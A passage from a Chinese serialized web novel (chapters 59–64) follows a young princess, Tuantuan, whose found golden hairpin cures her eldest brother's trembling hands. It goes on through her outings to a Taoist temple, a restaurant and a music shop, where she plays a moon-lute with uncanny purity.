“真哒?!”团团的眼睛一亮,兴奋地转过身一把抱住娘亲的腿,仰着小脸欢呼:“娘亲娘亲!听到没有!点心姨姨说,我以后来这里可以随便吃随便拿!”
点心姨姨?这什么称呼!
程如安刚想纠正,但看着女儿欢天喜地的模样,又看了看满脸感激涕零的谢云舒,最后只能无奈又宠溺地笑着摇了摇头。
算了,别说点心姨姨了,现在就算团团喊她点心叔叔,估计她都乐意。
“这个呢?你还要吗?“团团举着手中的金钗,问谢云舒。
谢云舒连忙摆手:“不要了,不要了,我看见它都害怕。请郡主交给我,我这就去丢掉它。“
团团小手一缩:“你说的哦,不要了。“
谢云舒一愣:“对……啊,我说的。郡主的意思是?“
团团将钗杆插回鱼嘴里,把发钗恢复了原状,解开腰间绣囊放了进去,嘴里嘟囔着:“你说不要了,那我捡走啦!“
程如安当然明白,女儿这是,又捡到自己喜欢的宝贝,要收走了。
她赶忙开口打了个圆场:“小孩子嘛,都是这样,喜欢捡东捡西的,谢老板若当真不要,便由着她吧。“
小郡主居然还有这习惯?谢云舒哑然失笑。
第59章 大哥哥废了
程如安带着女儿和挤满了大半个马车的甜品回到了王府。
门口下人直接惊呆了:“这么多!”挥手招呼了一下:“快来几个人,帮忙拿一下。“
程如安无奈地笑了笑:“是啊,是够多的。“
团团手里只捧着一个盒子,看了看马车里堆成小山的甜品盒子,想了想:“娘亲!送给他们,行吗?“小手一抬,指了指正在搬甜品的几个下人。
程如安微笑:“当然可以啊!这是团团的东西,团团自己做主就行啦,娘亲都依你。“
然后吩咐了一句:“不必搬进内院了,叫上其他的小厮,你们分了去吧,郡主都赏给你们了。“
“多谢郡主!“下人们全都一脸惊喜,这可真是太有口福啦!
盒子上印着巧酥阁的字样,那可是京城中最好的点心铺子!
东西精致,价格也高出其他铺子很多,小郡主真是又大方又怜下。
团团开心地笑了,两个酒窝深深地陷了进去,举了举手里的盒子:“这个枣子做的新点心,给祖祖,爹爹和哥哥们!“
程如安点了点头:“好!“
母女二人回到静兰苑,更衣休憩了片刻,团团有些累了:“娘亲,我想睡觉。“
程如安赶忙把她抱到床上,刚给她盖好被子,下人急促的声音便传了进来:“王妃,王妃娘娘!大少爷醒了!“
团团噌的一下掀开被子从床上蹦了起来,睡意顿时全无:“娘亲!大哥哥醒啦!咱们去看他吧!“
程如安也是异常惊喜:“这么快?好!好!“
母女二人走进养正轩时,家里其他人都已经到了,连老夫人都来了,正在感叹:“那千年雪参真是神物啊!如此灵验!这才服了两次,人就醒了!宗族保佑哦!”
团团进门大喊了一句:“祖祖!爹爹!二哥三哥,我来啦!“然后径直扑到了床边:“大哥哥!“
萧宁远刚刚睁开眼,才起身靠在床头,猛地一个小团子扎了过来,不禁微微一惊:“你是谁啊?小姑娘?”好漂亮的小娃娃!这脸上的酒窝怎么跟母亲的这么像!
团团指着自己:“我是团团!你的妹妹哦!”
萧宁远有些困惑地看向家人:“妹……妹?”
萧元珩微笑点头:“团团是你的妹妹,咱家的小福星,这次你**昏迷,都是多亏了她,才能这么快就醒过来。”
萧宁辰和萧宁珣兄弟俩在一旁猛点头。
“**?”萧宁远皱起眉头:“我不是,积劳成疾又感染风寒吗?”
团团攥起小拳头挥舞了一下:“才不是呢!大哥哥,是有个很大的坏蛋,她害得你!”
萧宁远低头看着团团认真的小模样,唇角微微一勾:“是吗?原来是团团救了哥哥啊,哥哥谢谢你啊。”
团团望着他,大哥哥好温柔啊,说话的声音也好听!
萧宁远抬眼望向父亲:“父亲,那毒?……”
萧元珩哼了一声:“辰儿。”
萧宁辰连忙接口,将萧宁远吐血回家后的事情,一一说了一遍。
萧宁远看向团团的目光越发柔软:“原来,我的小妹妹这么有本事哪!”
团团得意地摇晃着小脑袋,爬上床,窝到了他的身旁:“大哥哥,你可醒啦!“
萧宁远看向父亲,神色黯然:“父亲,周大海他?”
萧元珩道:“他吃里扒外,下毒暗害,已经随着赵衡夫妇关在刑部大牢了。”
萧宁远迟疑了一下,还是开了口:“周大海跟在儿子身边多年,尽心尽力,此次若不是受人胁迫,也不会如此。”
“父亲,能否为他求个情,从轻发落?”
“都是儿子未能及时察觉他的困境,若是我能……”
“远儿。”萧元珩深深地看着他:“无论他出于何种原因,背叛主家,都是罪无可恕。”
“你秉性良善,但有没有想过,若你这次没能救回来,为父这心里,又将如何?”
萧宁远低下了头。
程如安看了丈夫一眼,萧元珩明白她的意思,话锋一转:“他虽罪无可恕,但我可以派人去告诉他,今后他的家人,王府管了。”
萧宁远点了点头:“多
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谢父亲。”
团团看着他的侧脸,线条温和,皮肤白皙,又听到他和爹爹的对话,大哥哥人真好啊!那个坏蛋害了他,他还给他求情呢!
萧宁远环视了一圈家人,目光落在老夫人身上:“祖母,孙儿没事了,您年纪大了,久坐伤身,快回去歇息吧,等孙儿彻底好了,再去给您磕头请安。”
老夫人点了点头:“好生养着,莫要多想,回来就好,回来就好。”说完,扶着顺姑出去了。
萧宁珣端了一盏茶走到萧宁远面前:“大哥,喝一口润润吧。“
萧宁远脸色骤变,目光躲闪:“放这儿吧,三弟,我一会儿再喝。“
萧元珩没有忽略他的表情,眉头猛地皱了起来。
程如安起身坐到儿子床边,柔声轻问:“远儿,是不是你的手……“
萧宁远面色沉重,垂下了头。
“大哥哥,你的手怎么啦?“团团不明白了,低头找他的手,这才发觉,他的两只手始终都藏在被子里,根本看不到。
萧宁远犹豫了半晌,终于开口:“我的手,自从几年前开始发抖,以至无法执笔书写,还好勉强能自行更衣用膳。“
“但刚才醒来后,我发觉。“他抬起头看向自己的家人,把两只手从被子里拿了出来,竟然都在不停地剧烈颤抖。
他看着自己的双手,惨然一笑:“抖得更加厉害,竟连这些,都做不到了。”
“大哥!”萧宁辰和萧宁珣异口同声地喊了出来。
程如安的眼泪一下便忍不住了:“怎么会这样……”
萧宁远将双手放在床上,没再隐藏:“都是儿子不孝,令母亲伤心了。请父亲母亲不必放在心上,这都是……我的命。”
又看向弟弟们:“二弟三弟,以后王府要靠你们了,大哥……已经废了。”
萧宁辰和萧宁珣低下了头,想说什么却说不出来。
萧元珩绷紧了面孔,程如安泪如泉涌。
团团满脸心疼的看着萧宁远,大哥哥的手怎么了?大哥哥人这么好,为什么要说自己废了呢?
第60章 小鱼立大功
屋内气氛沉重,寂静无声。
只能听到萧宁远双手不受控制地颤抖时,衣袖摩擦着被面发出的细碎的“沙沙”声,以及程如安极力压抑着自己的,低低地啜泣。
那绝望的“废了”二字,像冰冷的巨石压在了大人们的心上。
“娘亲别哭!”团团爬到母亲怀里,抬起小手给她擦着眼泪:”娘亲,什么是命啊?“
程如安的眼泪更多了,哽咽着一个字都吐不出来。
“三哥哥?”团团抬头看向萧宁珣。
萧宁珣无奈地回答她:“命就是……注定如此的意思。”
“为什么注定了呢?”团团仰着小脸转向萧宁远,大眼睛里写满了懵懂的困惑。
萧宁远像放弃了一切似的,直言不讳地回答了她:“命里注定的意思是,这个病会一直跟着我,再也好不了了。”
“老爷爷呢?太医爷爷?他也治不好吗?”
萧宁远摇了摇头:“郭太医吗?早就请他瞧过了,他也治不好。”
团团又爬回了他身边刚才自己卧出的小窝里,小心翼翼地伸出小手,轻轻放在靠自己最近的,那只不停颤抖的手背上。
“大哥哥,”她声音奶声奶气,“你的手是不是很冷啊?团团给你呼呼就不冷了哦!”
说着,撅起小嘴,认真地对着那只颤抖的手呵着热气。
幼稚无比的举动,却比任何安慰都更刺痛人心。
萧元珩面色沉重,萧宁辰和萧宁珣都闭上了眼睛,不忍再看。
萧宁远低头看着妹妹,喉结剧烈地滚动,眼里泛起了泪光。
团团呼呼了几下,有些发愁:“怎么还不好啊。”
一抬头,她看到了萧宁远眼中的泪光,萧宁远连忙扭开了头。
大哥哥也要掉眼泪了呢!大哥哥很难过,怎么能让他开心起来就好了。
忽然,她像是想起了什么,眼睛一亮:“大哥哥!我捡到一个好宝贝!送给你好不好?可漂亮啦!”
她低下头,解开了绣囊一顿翻找:“在哪里呢……啊!找到啦!”
“给你!”她掏出了那根鲤跃龙门的金钗,翻过萧宁远的手掌,放进了掌心:“大哥哥!好看吗?你喜欢吗?”
萧宁远只觉得手心一凉,低头看去,金钗?
程如安却立即想起了巧酥阁里的事,这发钗是个不祥之物啊!忍不住担心起来:“团团,别……”
“娘亲别怕!鱼鱼已经好啦!”团团两只手一起用力,把大哥的手掌合拢起来:“大哥哥,你看,鱼鱼是不是特别好看?它说它现在可舒服了呢,你开心吗?”
萧宁远努力挤出一个笑容,不忍让妹妹失望,配合着她握紧了手中的金钗:“团团哪里来的这么别致的发钗啊?母亲的吗?”
突然,他的脸色变了,眼睛瞬间瞪圆,目光闪烁不停。
就在自己的手紧握住金钗的一刹那,从肩膀到手肘再到手指,仿佛被一股无形却强大的力量充满了,几年来那无时不在的,无法掌控的无力感骤然消失了。
他将信将疑地抬起了握住金钗的左手,没有错!那附骨之蛆一般跟了自己几年的颤抖,停止了。
他试探着把手抬得更高,甚至轻轻来回挥舞,没有抖!真的没有再发抖!
他把金钗放在了右手,同样的力量瞬间充斥了整个手臂,再抬起,再挥舞,一样的,都没有抖。
一种久违的、对身体的绝对掌控感,回来了!
团团拍着小手:“鱼鱼把大哥哥的手治好啦!爹爹!娘亲!大哥哥的手不抖啦!”
萧元珩和兄弟俩早就站起来了,程如安也忘记了哭泣,每个人的目光都死死地盯在萧宁远的手上,满脸都是震惊和欣喜。
萧宁远猛地坐直了身体,右手还握着金钗,左手用力握紧了拳头,指节分明,力量充沛!
他松开手,再握紧,反复了几次,动作稳定而流畅。
他猛地抬起头,看了一眼一脸震惊的父母和弟弟们,然后缓缓低头,望向眼前那个歪着小脑袋,正用“求夸夸”的眼神看着自己的小妹妹。
巨大的的激动和狂喜淹没了他,刚才那个沮丧的就要放弃自己的他彻底消失了。
我好了?我好了!我再也不是个残废了,我想做的所有的事,全都可以放手去做了!
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他放下了手中的金钗,一把把团团举了起来,声音颤抖:“团团!团团!我的好妹妹!“
团团第一次被人高高举起,开心地咯咯咯地笑了起来:“好高啊!大哥哥,再高些!再高些!“
萧宁远却有些担心自己万一脱力会摔到她,反而收起了手臂,把她紧紧地搂进了怀里:“哥哥谢谢你,团团,哥哥真心谢谢你。“
团团乖巧地趴在他的怀里,抬起了头:“大哥哥,你的手会好的,这是那叫什么……命。“
萧宁远心中一动。
“苍天有眼!苍天有眼啊!”萧元珩虎目含泪,声音激动。
“远儿!我的远儿!”程如安更是泣不成声,一把将自己的一双儿女一同搂入了怀里。
萧宁辰和萧宁珣互相对视了一眼,都在对方眼中看到了,果然如此的意思。
片刻之后,大家都安静了下来,只有团团还趴在萧宁远的胸口,赖着没有动。
“远儿,你的手?”萧元珩问道。
萧宁远一手搂着妹妹,一手握着金钗:“父亲请放心,虽然仍有些乏力,但我相信,只要我日日握着这金钗,反复练习,一定很快就能彻底恢复。”
“只是我没明白,这金钗从何而来?为何能治愈我的手?究竟是……什么缘故?”
程如安简单将今日巧酥阁中的事情简单说了一遍,萧宁远满脸诧异,其他父子三人则都是一副原来如此的表情。
她明白大儿子如今恢复的不单单只是两只手,还有他的雄心壮志,如今,父子三人定是有不少的体己话要说。
于是轻轻拍了拍团团:“乖,到娘亲这儿来,刚才不就说困了吗?娘亲抱你回去好好睡,你大哥刚醒,也要好生歇息,让他也睡吧。”
团团顺从地从大哥怀里爬到母亲怀中,搂着她的脖子,轻轻的嗯了一声,回头对萧宁远道:“大哥哥,我去睡觉啦,睡醒再来看你!”萧宁远微笑点头:“快去吧。”
程如安抱着她站了起来:“你们慢慢聊,莫要太久了,远儿还要好好歇息。”
萧元珩点了点头,程如安抱着团团离开了养正轩。
第61章 离大三哥远一些
当晚,团团睡熟后,程如安若有所思地看着女儿的睡颜,默默出神。
萧元珩问道:“安儿,有心事?“
程如安道:“那日我带着团团去玄穹观给远儿祈福,希望他能早日醒来,手疾痊愈。“
“如今,这两个愿望都已实现,因此,明日我想带着团团去还愿,再多捐些香火钱,求神仙保佑她,你看可好?”
萧元珩道:“理应如此,明日我与你们同去。“
程如安点头:“甚好。
翌日一早,天光才亮,团团顶着睡得蓬松柔软的小啾啾,眼睛还没完全睁开,萧元珩就走了进来:“小懒虫,快起来,爹爹和娘亲带你去玄穹观!”
“去看道长爷爷吗?”团团一听要出门,一骨碌爬了起来,抓起旁边的小外衫就往身上套。
“道长爷爷?原来,团团喜欢玄清**啊,对!去看看他,然后再好好酬谢三清祖师保佑咱们全家!”
“好哎!跟爹爹和娘亲出去玩啦!”团团蹦了起来,站在床上。
萧元珩一把把闺女捞起来扛在肩头:“走!咱们去吃早膳,吃完就出发!“
两个时辰后,三人走进了玄穹观。
拜过三清后,程如安大手笔地捐了两千两银子,玄清**道:“无量仙尊!多谢王妃。”说完,目光落在团团了身上。
“贫道听闻,郡主昨日又有一番奇遇,救了巧酥阁的谢主事。“
程如安一惊:“道长都知道了?谢主事?“
玄清**看着坐在萧元珩怀里,玩着他的发梢的团团:““贫道略有所闻,谢云舒乃江南巨贾之后,现任云鹊商会主事,那巧酥阁不过是她的一个小门面。“
程如安有些惊讶:“原来如此,她身为女子却有如此成就,实乃不易。
玄清**看向她:“郡主赌雪参赢的是吕大人家,识破金钗又救的是谢主事,哪里还瞒得住,早已传遍街巷了,这京城,怕是没有不知道的了。“
程如安眉头微微皱起,“道长的意思是?“
玄清**道:“上次贫道曾劝过郡主,切莫介入他人因果,如今看来,郡主天真烂漫,古道热肠,恐是极难做到。“
他摘下胸前的一串念珠,递到团团面前:“小郡主,道长爷爷把这个送给你,好不好?“
那念珠颗颗圆润,隐有光华流转,一望便知绝非凡物。
周遭瞬间一静,所有人的目光都汇聚在那串念珠上。
几个小道士目瞪口呆:“那可是师祖从不离身的星宿流珠啊!”
其他香客们也都倒吸了口凉气:“玄清**这串珠子,多少人求都求不来啊!“
“就,就这么送给了一个小娃娃?“
“太不可思议了!“
团团却不懂,伸手便接了过来:“哇,好漂亮的珠子!道长爷爷真好!谢谢道长爷爷。“
“无量天尊!”玄清**道:“此珠共二十八颗,上应周天二十八星宿之数,伴随贫道诵经修行多年,小有道行,今日便赠与郡主,望能护你平安。”
萧元珩和程如安互相看了一眼,都十分惊喜:“多谢道长!”
玄清**这串念珠,无人不知,无人不晓,是他从不离身的法器之一,便是皇帝亲临,也未必能讨要得到,竟就这么送给了自己的女儿,足见其回护之心。
玄清道长捋须轻笑:“赤子之心,最是难得。王爷和王妃有女如此,当真有福。”
程如安亲自动手,将念珠挂在了女儿的胸前。
“蝴蝶!好漂亮的蝴蝶!“一只硕大无比、翅翼斑斓的彩蝶翩然从团团眼前飞过,她挣扎着从爹爹怀里溜下地,迈着小短腿,咯咯笑着追了上去:”别跑啊!小蝴蝶!“
刘嬷嬷一看,赶紧跟了过去。
团团追着蝴蝶,跑得飞快。
快到后院时,只见一个小道士提着一桶水站在廊下的柱子旁边,俯身正费力地想将被柱子上的木刺缠住的衣角解下来,却因为勾得深了,一时间怎么都摘不下来。
团团停下了脚步。
一个一身月白云纹锦袍的少年从他后面走了出来,动作潇洒地一抬腿,掏出了靴桶中的**,将小道士的衣角一刀划开:“以后走路小心些。“
小道士连忙道谢。
团团脱口而出:“三哥哥!“
那少年看着她:“小姑娘,你在喊谁?“
团团仰头望去,不是三哥哥,比三哥哥高,也比三哥哥壮:“你跟我三哥哥好像!他也是喜欢在这里,放把小刀!“说着指了指少年的靴子。
少年收起**,饶有兴趣地看着她:“原来如此。你家大人呢?怎么让你一个小孩子在
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这里乱跑啊,也不怕丢了。“
“我才不会丢呢!“团团一扬小下巴:“你不是三哥哥,你比三哥哥大一圈!”她伸出小手比画了一个大大的圈:“我在追蝴蝶呢!咦?我的蝴蝶呢?”
她想起来了,四处张望,抬手一指:“在那里!”
少年顺着她手指的方向看去,那蝴蝶正停在不远处的一株花的长径上。
他悄悄走了过去,缓慢伸手,一把夹住了它的翅膀,走回来递给了她。
团团开心地学着他的样子接过了蝴蝶:“小蝴蝶,你跑什么啊,我只是想看看你,你太漂亮了!”
她抬起头,看向那个微笑着看着自己的少年:“大三哥!多谢你啦!帮我抓住了它。”
“大三哥?”少年忍俊不禁:“你还真能想!”
“你比三哥哥大一圈嘛,不就是大三哥啦!不对吗?”
“也对,言之有理。我叫萧泽,你叫什么呢?
“我是团团!“萧泽一愣,团团?这什么名字?
刚想再细问,刘嬷嬷一头大汗地追了过来:“小小姐!你怎么跑到这儿来了!“
团团举起蝴蝶:“嬷嬷!大三哥帮我抓到的!“
她两只小手一抬,露出了胸前的念珠,萧泽一惊:“你这念珠,是玄清**的那串?”
团团点了点头:“对啊!道长爷爷送我的!”
她低头看了眼蝴蝶,手一松,蝴蝶翩翩飞走:“飞吧!飞吧!“想了想,又不放心地加了一句:”以后要记着离大三哥远一些!”
萧泽扶了扶额,不是你要,我才帮你抓的嘛!什么叫以后要离我远一些!
刘嬷嬷给少年行了个礼:“这位公子,多谢了。”牵起团团的小手转身而去:“王爷和王妃都等着你呢,咱们要回府了。”
团团边走边回头:“大三哥!改天我再来找你玩哦!”
王爷?王妃?萧泽目送着她们离去,若有所思。
回府的路上,团团把这件事告诉了父母:“大三哥长得也很好看呢!当然啦,比三哥哥还是差一点点。”
程如安问道:“团团都喊他大三哥了,知道他叫什么名字吗?”
“他说他叫……对了,萧泽!”
程如安和萧元珩听到这个名字,对视了一眼:“原来今日,七殿下也来了玄穹观。”
第62章 天哪,神颜啊
回府的路上,马车经过闹市,团团趴在窗口好奇地东张西望,一脸兴致勃勃。
萧元珩笑了:“安儿,你先回去吧,我带着团团去逛逛。”
程如安看了女儿一眼:“好,那我先回府,让萧二跟着你们。”
萧元珩摆了摆手:“不必,有我在,要什么侍卫。”
程如安也笑了:“也是。“
萧元珩抱着女儿下了马车,走在京城最繁华的大街上。
于是,京城中所有人,便都看到了这样的一幕:身材高大威猛的铁血战神宁王萧元珩,小心翼翼地将一个粉雕玉琢的小团子扛坐在自己宽阔的肩头。
任由她的小手抓着自己的发冠保持着平衡,眼神里全是满满的宠溺,和那一脸“我闺女天下第一可爱”的骄傲。
“爹爹爹爹!棉花糖!”“买!”
“爹爹!小风车!”“买!”
“爹爹!那个面具好吓人!”
“吓人啊?那咱们就不要,呃,买!拿回去吓唬你三哥!”
“好哎好哎!“
所有看到的人莫不震惊不已。
“我眼花了?那不是宁王吗?他肩上的莫非就是嘉佑郡主?”
“那还能有谁!肯定是啊!除了宁王嫡女,谁还能让宁王扛在肩上?”
“啧啧,真没想到,铁血沙场的宁王还是个慈父!居然能宠女儿宠成了这个模样!”
不知不觉,父女俩走到了“碎金阁”门口,团团吸了吸小鼻子:“爹爹,好香呀!”
萧元珩朗声一笑:“走!爹爹带你吃好的去!”
宁王驾到,掌柜杜清亲自过来招呼,将父女俩领进了一个雅间。
菜刚上齐,门便被无声推开。
一个挺拔的身影走了进来,五官线条分明,像是经过了精心雕琢,眼眸漆黑,神如鹰隼,肤色却比常人更白上了几分,周身的气场强大而冷硬。
萧元珩微微一笑:“汪明瑞,你来了,坐。“
汪明瑞也不客气,直接便坐到了桌旁。
团团看得都惊呆了,竟然,有比爹爹还好看的人!手中正努力用筷子夹住的花生米,当地一声,掉回了盘子里。
汪明瑞的目光落在她的小脸上,眼神里闪过一丝笑意。随即转向萧元珩:“你还有心思在此享受天伦之乐?朝堂和军中可都因为你的痊愈,快乱成一团了。”
“团团,这是你汪叔叔。”萧元珩面色平静。
“汪叔叔好!我是团团,你长得怎么这么好看呢,跟画里的人一样!”团团歪着小脑袋,紧紧盯着汪明瑞的脸,天哪,神颜啊!
萧元珩佯装不快:“比爹爹好看吗?“
团团马上收回了目光,从自己的凳子上溜下来,跑到他的怀里:“跟爹爹一样好看!“
萧元珩笑着刮了一下她的小鼻头:“小机灵鬼!“
汪明瑞从怀中掏出一封信递给萧元珩:“你病的这几年,军中山头四起,变动很大。你若是一直躺着也就罢了,如今骤然痊愈,多少双眼睛可都盯着你呢。“
“如今你重返朝堂,军中的这笔烂账就是个烫手的山芋,正有人盼着你去接手,一旦出了什么纰漏,便是将把柄送到了人家的手上。这个你先收着,怕是要派上用场了。“
萧元珩哼了一声,收起了信。
雅间内气氛瞬间凝重。
一只捏着块荷花酥的小手,颤巍巍地伸到了汪明瑞的面前。
团团仰着小脸,大眼睛里满是光彩:“汪叔叔,你说了好多话,饿不饿?这个给你,可甜啦!”
汪明瑞那万年不变的冷峻表情瞬间裂开了一条缝,他看了看团团手中的点心,又看了看她脸上甜甜的酒窝,一时竟不知如何是好。
萧元珩知他从不吃甜食,有心看他的热闹,忍不住哈哈大笑:“我闺女疼你,尝尝吧!“
汪明瑞无奈,只得伸手接了过来。
看了眼仍然无比真诚,紧紧的盯着自己的小团子,心知自己若是不吃上一口,这小娃娃是不会善罢甘休的,于是,放在唇边浅浅地咬了一口。
“甜不甜?好吃吗?“团团
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赶紧追问。
“厄……甜,好吃!“汪明瑞低声回答。
团团高兴了,投喂成功!投喂了一个这么好看的叔叔!
汪明瑞看着她:“这便是嘉佑郡主,你家那个,为宁远赢了雪参,又识破了谢云舒金钗的孩子?“
“对哦!就是我!都是我!“团团得意的都想翘尾巴了,在萧元珩的怀里来回晃动着小身子。
小手拿起胸前的念珠:“今天道长爷爷还送了我这个呢!“
汪明瑞一眼便认出了这是玄清**平日从不离身的那串星宿流珠。
他看了一眼萧元珩,从怀中取出一个触手温润、洁白如玉的小哨子,放到了团团的手里:“既吃了你的点心,这个便算是叔叔给你的回礼了。“
“记住,若遇到麻烦事,用力把它吹响,或许能帮得到你。”
团团拿起哨子,好奇地左看右看,然后,想也没想就放进嘴里使劲一吹:“噗!”
一声清越奇特的哨音响彻了整个碎金阁,吓了众人一跳。
紧接着,窗口,门口猛地窜进来两个人,警惕地望着屋里的人。
团团两只小手急忙捂住了自己的耳朵:“声音好大!”抬头看了一眼爹爹,又腾出了一只手,捂住了他的一只耳朵。
“咦,你们是谁啊,你们也饿了吗?”
汪明瑞忍不住扶额:“不是让你现在吹,是让你需要人帮忙的时候再吹……。也罢,这下我的人算是都认得这声音和你了。”
他挥了挥手,进来的那两人,冲着他行了个礼,嗖的一下又都从原路离开了。
萧元珩宠溺地摸了摸女儿的头:”把这玉骨哨收好,记住你汪叔叔的话,需要人帮忙的时候,再吹响它。“
“嗯嗯!我知道啦!谢谢汪叔叔!“
汪明瑞并未久坐,起身便告辞离开了。
一顿饭吃得团团肚皮滚圆,父女俩索性溜达着走回王府,权当消食。
刚转过一个街口,一声激动无比的呐喊便传了过来:“盟主!小盟主!”
第63章 这是在当糖豆分吗
陆清嘉如同脱缰的野马般从路边的一家首饰铺子里冲了出来,直奔团团。
他激动得脸都红了:“盟主!我都听说啦!你可是太厉害了!把吕铮那个臭小子……”
他话没说完,就被随后赶来的母亲孟欣揪住耳朵拎到一旁:“臭小子!跟你说了多少遍街上不许大呼小叫!成何体统!”
陆清嘉退到她身后,冲着团团做了个鬼脸,团团噗哧一声笑了。
孟欣抬起头,一眼便看到了萧元珩和他肩上端坐的小团子,瞬间变脸,微笑道:“犬子无状,让王爷见笑了。王爷这是?”
萧元珩笑了笑:“带闺女出来逛逛。“
孟欣道:“这便是嘉佑郡主吧?果然玉雪可爱。“随即掏出一个小小的锦盒递给萧元珩:”这是我才刚买的小玉佩,请王爷收下,拿给郡主玩吧,就当是我的见面礼了。“
萧元珩接了过来:“团团,谢谢孟夫人。“
团团乖巧地说了一句:“谢谢孟夫人送我礼物。“突然想起了刚才的汪明瑞,收了自己的点心,就回礼了小哨子。
可是,我回什么礼呢……绣囊中的宝贝可不能送,那就这个吧!
她摘下了胸前的那串念珠,递给父亲:“爹爹!帮我把这个拆开。“
萧元珩一愣,没明白她想干什么,不过,管她干什么呢,只要是闺女想的,帮就是了。
于是,大手一扯,念珠的绳子断成了两截,他仔细地用两只大手抓住断掉的两端,防止珠子散落,举到女儿面前:“做什么?团团?“
团团小心翼翼地接过其中的一头,从上面捋了一颗珠子出来,小手冲着孟欣一伸:“你是陆二的娘亲,还送了我玉佩,这个,给你,我的回礼!“
孟欣看清了那念珠的模样,魂都快吓飞了:“使不得!郡主!万万使不得!这可是玄清**的星宿流珠啊!”每一颗都是无价之宝,这小娃娃是在当糖豆分吗?!
萧元珩将两个绳头重新打上结,放进了怀里:“爹爹回去给你换一根结实的绳子。“然后看了孟欣一眼:”既是孩子愿意,孟夫人收下就是。“
孟欣只得接了过来:“这可真是太贵重了,多谢王爷,多谢郡主。“
萧元珩一脸骄傲:真不愧是我闺女!这大手笔!
父女俩转身离去。
陆清嘉得意扬扬的道:“怎么样?母亲?我认得这个小盟主,厉害吧!“
孟欣望着两人逐渐远去的背影:“这个小郡主,着实不一般啊。“
父女俩继续往王府方向溜达,遇到了正迎面而来的萧宁珣。
“三哥哥!”团团开心地大喊:“你也来陪我玩吗?”
萧宁珣对着妹妹温柔一笑:“团团坐得这么高啊!”
随即看向萧元珩,脸色一正:“父亲,兵部尚书已在府中等候多时了。”
萧元珩嗯了一声:“团团,咱们回家吧。”
团团的小脸耷拉了下来,弯下小腰,抱着他的头,嘟嘟囔囔:“我还想再玩一会儿呢。”
萧宁珣柔声道:“团团乖啊,三哥哥陪你玩好不好?”
团团抱着萧元珩的大脑袋不松手:“我想要爹爹和三哥哥一起陪我玩。”
萧元珩蹲下身子:“乖,你先跟你三哥去玩一会儿,爹爹回府看看,没什么事儿爹爹马上回来找你们。”
团团这才放开了他,但还是舍不得:“那爹爹你快些来找我们。”
萧元珩站了起来,摸了摸她的小脑袋:“好!”抬眼看向儿子:“莫要走远,早些回府,仔细看好了妹妹,别让她乱跑。”
萧宁珣点头,牵起了妹妹的手:“父亲放心。”萧元珩不舍地看了一眼团团,转身大步而去。
兄妹俩走走停停,忽然,一阵琴音从街边的“清音堂”里传出,团团小手一指:“三哥哥,我要去那里!”
“好。”两人一起走了进去。
清音堂是京城中一家非常有名的专卖乐器的店铺,店内颇为雅致,四壁悬挂着各式琴筝琵琶,空气中弥漫着松木与清漆的淡淡香气,经常有一些名人雅士来这里挑选购买各种乐器。
此刻,店中所有人的目光都汇聚在一位身着鹅黄云锦裙裳、头戴珍珠步摇的年轻女子身上。
只见她正端坐于一张古琴前,纤指轻拨,一曲《高山流水》从指尖流出,姿态端庄,旋律悠扬,身边还站着一位年长些的女子,毫不掩饰眼神中的得意。
周遭众人无不闭目倾听,一脸陶醉。
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>一曲既终,赞叹声不绝于耳。
“周姐姐的琴艺真是越发精进了!”
“此曲意境悠远,非姑娘这般心性不能诠释呢。”
“如此琴技,定是下了一番功夫呢!”
团团拽了拽萧宁珣的衣角,萧宁珣马上蹲下了身子:“三哥哥,那是谁啊。“
“靖海侯府的庶女周语薇和她的姨母韩雪苓。“
“三哥哥认识她们啊?“
“只是曾经见过,靖海侯府和咱们宁王府平时没什么往来。“
“哦。三哥哥,我想看那个!”团团指向了挂在墙上的一张小巧的月琴。
萧宁珣连忙把她抱了起来,走到墙边,托起她的小身子,让她能够得到。
周语薇注意到了他们,此时屋里唯二两个没有夸赞自己的人。
谁不知道宁王府中这位三公子是个不会说话的哑巴!难怪没有张嘴,不会说话,连点头都不会吗?
他带着的这个想必便是那个宁王府的嫡女了,什么嫡女!一个出生就被送出去养的乡下野孩子!
她心中不快,见团团伸着小手去够墙上的月琴,哼了一声:“小妹妹,乐器可不是玩意儿,莫要胡乱触碰,粗鄙之人还是该离这些雅器远些才好。”
萧宁珣脸色一沉,刚想开口,团团的手却已碰到了月琴,她好奇地伸出小手指,对着琴弦轻轻拨弄。
几声清越空灵、不掺丝毫杂质的旋律骤然响起,如同山涧的清泉滴落玉石,美妙至极。
竹帘轻挑,一个中年男子从清音堂的里间走了出来。
他面容清癯,长发披垂。穿着一件宽大的灰色细麻长袍,甚是随意,腰间竟连绦带都未系,只松松地拢着,更显得他身形颀长,颇有落拓之风。
屋里所有人都站了起来:“子牙大师。”
他微微颔首:“方才的琴音是何人所奏?”
周语薇脸颊微红,面露羞涩:“是小女所奏。”
韩雪苓连忙接口:“小女一时兴起,轻弹一曲,不想竟能入得钟大师之耳,实在是小女之幸。”
钟子牙看了一眼周周语薇面前的古琴:“非也,并非古琴,而是月琴之声。”
韩雪苓脸色骤变,周语薇的羞涩顿时僵在了脸上。
第64章 别跑啊,再陪我玩一会儿
萧宁珣知道这位钟子牙是本朝公认的音律大家,连皇上的祭祀庆典,都会请他前去指点,不敢怠慢:“钟大师,方才的月琴声是小妹随手拨的琴弦。”
团团望着钟子牙,这个伯伯头发怎么散着没梳,好像刚刚睡醒……
钟子牙走到兄妹二人身旁,也上下打量着团团,居然是这个小娃娃弹出了刚才的琴声?
一大一小对视了片刻,萧宁珣看看妹妹,又看看钟子牙,一脸困惑。
钟子牙长臂一伸,将月琴从墙上取了下来,放在一旁的桌案上:“小姑娘,再给伯伯弹一曲好不好?”
旁边众人皆面面相觑,大师这是,让一个小娃娃弹琴给他听?不会吧,这小娃娃站起来,都没比这月琴高多少。
团团也是满脸疑问:“我不会呀。”
钟子牙笑了笑:“没关系,你就像刚才那样就好,伯伯啊,喜欢听。”
团团歪着小脑袋看了他片刻:“就像刚才那样?那好吧。”
萧宁珣连忙把妹妹放在了月琴旁的凳子上。
团团抬起两只小手,在琴弦上随意地拨弄起来。
没有复杂的旋律,更没有高深的技巧。然而,发出的声音却清越得不像凡间之物。
如初雪消融时的第一滴雪水坠入深潭,又似幽谷清晨中掉落的露珠,清冷剔透,不染一丝尘埃。
音色纯净到了极致,每一个音符都带着一种未经雕琢、浑然天成的灵韵,极其简单,却直抵人心。
这根本不是什么乐曲,却仿佛是天地初开时,最本真、最悦耳的那一抹声响。
钟子牙的眼睛越来越亮,看着团团的眼神越来越贪婪,如获至宝。
萧宁珣被他的眼神吓得赶紧上前一步,贴紧了妹妹的后背。
紧接着,更神奇的事情发生了!
